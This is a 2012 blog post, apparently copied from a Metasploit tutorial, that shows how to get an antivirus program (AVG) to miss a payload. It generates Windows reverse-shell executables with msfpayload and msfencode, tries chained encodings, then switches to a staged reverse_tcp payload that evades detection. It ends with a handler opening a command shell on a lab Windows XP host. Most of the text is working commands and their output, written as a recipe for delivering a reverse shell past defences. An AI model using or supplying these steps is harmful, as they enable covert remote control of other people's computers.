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Tuesday, April 24, 2012

Antivirus Bypass

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As we have seen, the Metasploit binary payloads work great. However, there is a bit of a complication. 

Most Windows based systems currently run some form of anti-virus protection due to the widespread pervasiveness of malicious software targeting the platform. Let's make our example a little bit more real-world, and install the free version of AVG on the system and see what happens. 



Right away, our payload gets detected. Let's see if there is anything we can do to prevent this from being discovered by AVG. 

We will encode our produced executable in an attempt to make it harder to discover. We have used encoding before when exploiting software in avoiding bad characters so let's see if we can make use of it here. We will use the command line msfencode program. Lets look at some of the options by running msfencode with the '-h' switch. 


Code:
root@bt:~# msfencode -h

    Usage: /opt/framework/msf3/msfencode 

OPTIONS:

    -a   The architecture to encode as
    -b   The list of characters to avoid: '\x00\xff'
    -c   The number of times to encode the data
    -d   Specify the directory in which to look for EXE templates
    -e   The encoder to use
    -h        Help banner
    -i   Encode the contents of the supplied file path
    -k        Keep template working; run payload in new thread (use with -x)
    -l        List available encoders
    -m   Specifies an additional module search path
    -n        Dump encoder information
    -o   The output file
    -p   The platform to encode for
    -s   The maximum size of the encoded data
    -t   The output format: raw,ruby,rb,perl,pl,bash,sh,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vbs,loop-vbs,asp,war
    -v        Increase verbosity
    -x   Specify an alternate executable template
Let's see which encoders are available to us by running 'msfencode -l'. 


Code:
root@bt:~# msfencode -l

Framework Encoders
==================

    Name                    Rank       Description
    ----                    ----       -----------
    cmd/generic_sh          good       Generic Shell Variable Substitution Command Encoder
    cmd/ifs                 low        Generic ${IFS} Substitution Command Encoder
    cmd/printf_php_mq       manual     printf(1) via PHP magic_quotes Utility Command Encoder
    generic/none            normal     The "none" Encoder
    mipsbe/longxor          normal     XOR Encoder
    mipsle/longxor          normal     XOR Encoder
    php/base64              great      PHP Base64 encoder
    ppc/longxor             normal     PPC LongXOR Encoder
    ppc/longxor_tag         normal     PPC LongXOR Encoder
    sparc/longxor_tag       normal     SPARC DWORD XOR Encoder
    x64/xor                 normal     XOR Encoder
    x86/alpha_mixed         low        Alpha2 Alphanumeric Mixedcase Encoder
    x86/alpha_upper         low        Alpha2 Alphanumeric Uppercase Encoder
    x86/avoid_utf8_tolower  manual     Avoid UTF8/tolower
    x86/call4_dword_xor     normal     Call+4 Dword XOR Encoder
    x86/context_cpuid       manual     CPUID-based Context Keyed Payload Encoder
    x86/context_stat        manual     stat(2)-based Context Keyed Payload Encoder
    x86/context_time        manual     time(2)-based Context Keyed Payload Encoder
    x86/countdown           normal     Single-byte XOR Countdown Encoder
    x86/fnstenv_mov         normal     Variable-length Fnstenv/mov Dword XOR Encoder
    x86/jmp_call_additive   normal     Jump/Call XOR Additive Feedback Encoder
    x86/nonalpha            low        Non-Alpha Encoder
    x86/nonupper            low        Non-Upper Encoder
    x86/shikata_ga_nai      excellent  Polymorphic XOR Additive Feedback Encoder
    x86/single_static_bit   manual     Single Static Bit
    x86/unicode_mixed       manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
    x86/unicode_upper       manual     Alpha2 Alphanumeric Unicode Uppercase Encoder
Excellent. We can see our options and some various encoders we can make use of. Let's use the raw output of msfpayload, and pipe that as input to msfencode using the "shikata ga nai encoder" (translates to "it can't be helped" or "nothing can be done about it"). From there, we'll output a windows binary. 


Code:
root@bt:~# msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 R | msfencode -e x86/shikata_ga_nai -t exe > /tmp/2.exe
[*] x86/shikata_ga_nai succeeded with size 315 (iteration=1)

root@bt:~# file /tmp/2.exe

/tmp/2.exe: MS-DOS executable PE  for MS Windows (GUI) Intel 80386 32-bit

Perfect! Let's now transfer the binary to another system and see what happens. And... 






Well, that's not good. It is still being discovered by AVG. Well, we can't let AVG win, can we? Let's get a little crazy with it, and use three different encoders, two of which we will tell it to run through 10 times each, for a total of 21 encodes. This is about as much encoding as we can do and still have a working binary. AVG will never get past this! 


Code:
root@bt:~# msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 R | msfencode -e x86/shikata_ga_nai -t raw -c 10 | msfencode -e x86/call4_dword_xor -t raw -c 10 | msfencode -e x86/countdown -t exe > /tmp/6.exe                                                                         [*] x86/shikata_ga_nai succeeded with size 315 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 342 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 369 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 396 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 423 (iteration=5)
[*] x86/shikata_ga_nai succeeded with size 450 (iteration=6)
[*] x86/shikata_ga_nai succeeded with size 477 (iteration=7)
[*] x86/shikata_ga_nai succeeded with size 504 (iteration=8)
[*] x86/shikata_ga_nai succeeded with size 531 (iteration=9)
[*] x86/shikata_ga_nai succeeded with size 558 (iteration=10)
[*] x86/call4_dword_xor succeeded with size 586 (iteration=1)
[*] x86/call4_dword_xor succeeded with size 614 (iteration=2)
[*] x86/call4_dword_xor succeeded with size 642 (iteration=3)
[*] x86/call4_dword_xor succeeded with size 670 (iteration=4)
[*] x86/call4_dword_xor succeeded with size 698 (iteration=5)
[*] x86/call4_dword_xor succeeded with size 726 (iteration=6)
[*] x86/call4_dword_xor succeeded with size 754 (iteration=7)
[*] x86/call4_dword_xor succeeded with size 782 (iteration=8)
[*] x86/call4_dword_xor succeeded with size 810 (iteration=9)
[*] x86/call4_dword_xor succeeded with size 838 (iteration=10)
[*] x86/countdown succeeded with size 856 (iteration=1)

root@bt:~# file /tmp/6.exe
/tmp/6.exe: MS-DOS executable PE  for MS Windows (GUI) Intel 80386 32-bit


Ok, we will copy over the binary, run it aaaannnnd.... 






We failed! It still is discovered by AVG! How will we ever get past this? Well, it turns out there is a good reason for this. Metasploit supports two different types of payloads. The first sort, like 'window/shell_reverse_tcp', contains all the code needed for the payload. The other, like 'windows/shell/reverse_tcp' works a bit differently. 'windows/shell/reverse_tcp' contains just enough code to open a network connection, then stage the loading of the rest of the code required by the exploit from the attackers machine. So, in the case of 'windows/shell/reverse_tcp', a connection is made back to the attacker system, the rest of the payload is loaded into memory, and then a shell is provided. 

So what does this mean for antivirus? Well, most antivirus works on signature-based technology. The code utilized by 'windows/shell_reverse_tcp' hits those signatures and is tagged by AVG right away. On the other hand, the staged payload, 'windows/shell/reverse_tcp' does not contain the signature that AVG is looking for, and so is therefore missed. Plus, by containing less code, there is less for the anti-virus program to work with, as if the signature is made too generic, the false positive rate will go up and frustrate users by triggering on non-malicious software. 

With that in mind, let's generate a 'windows/shell/reverse_tcp' staged payload as an excutable. 

Code:
root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=172.16.104.130 LPORT=31337 X > /tmp/7.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell/reverse_tcp
 Length: 278
Options: LHOST=172.16.104.130,LPORT=31337

root@bt:~# file /tmp/7.exe
/tmp/7.exe: MS-DOS executable PE  for MS Windows (GUI) Intel 80386 32-bit

Ok, now we copy it over to the remote system and run it, then see what happens. 


Code:
root@bt:~# msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=172.16.104.130 LPORT=31337 E[*] Please wait while we load the module tree...[*] Handler binding to LHOST 0.0.0.0[*] Started reverse handler[*] Starting the payload handler...[*] Sending stage (474 bytes)[*] Command shell session 1 opened (172.16.104.130:31337 -> 172.16.104.128:1548)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Jim\My Documents>dir
dir
Volume in drive C has no label.
Volume Serial Number is E423-E726

Directory of C:\Documents and Settings\Jim\My Documents

05/27/2009 09:56 PM
.
05/27/2009 09:56 PM
..
05/25/2009 09:36 PM 9,728 7.exe
05/25/2009 11:46 PM
Downloads
10/29/2008 05:55 PM
My Music
10/29/2008 05:55 PM
My Pictures
1 File(s) 9,728 bytes
5 Dir(s) 38,655,614,976 bytes free

C:\Documents and Settings\Jim\My Documents>

Success! Antivirus did not trigger on this new staged payload. We have successfully evaded antivirus on the system, and delivered our payload. 
©2012, copyright BLACK BURN

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